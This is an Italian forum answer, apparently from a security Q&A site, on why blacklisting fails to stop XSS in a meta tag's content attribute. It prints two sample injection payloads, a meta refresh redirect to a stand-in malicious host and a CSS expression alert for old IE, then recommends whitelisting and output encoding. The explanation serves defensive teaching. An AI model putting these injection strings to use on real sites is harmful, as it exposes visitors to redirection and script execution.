Sono assolutamente d'accordo con thexacre sull'inefficacia della lista nera - e non solo perché la risposta fa riferimento al mio sito web :).
Non essere in grado di sbarazzarsi della porzione di contenuto iniziale può certamente limitare l'opportunità di successo dell'XSS tramite un meta tag, sebbene non sia del tutto impossibile. Ad esempio, se la porzione iniziale cambia mai per iniziare con una parola non numerica come "Nessun risultato per ..." potresti essere in grado di iniettare qualcosa del tipo:
;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah="
che, in base alla tua descrizione, dovrebbe generare un meta tag simile a:
<meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />
L'ho provato con successo in FF 29.0.1 ma non credo che funzionerebbe in nessun altro browser moderno.
Se il testo iniziale inizia sempre con un numero, puoi provare qualcosa come
" STYLE="width:expression(alert('XSS'));" blah="
che di nuovo basato sul tuo esempio dovrebbe generare un meta tag simile a:
<meta property="the:property" content="100 results for" STYLE="width:expression(alert('XSS'));" blah=" (Page 1)" />
Questo funzionerebbe solo in IE 7 o precedenti, quindi è ancora più limitato.
Ho dovuto fare alcune ipotesi sul comportamento del sito e sulla convalida degli input aggiuntivi, quindi questi particolari esempi potrebbero non funzionare, ma spero di aver contribuito a sostenere l'affermazione di thexacre che la lista nera è raramente un approccio completamente efficace. La whitelist (quando possibile) è migliore ma la codifica dell'output è sempre un dovere ogni volta che i dati generati dall'utente vengono incorporati nella risposta del server.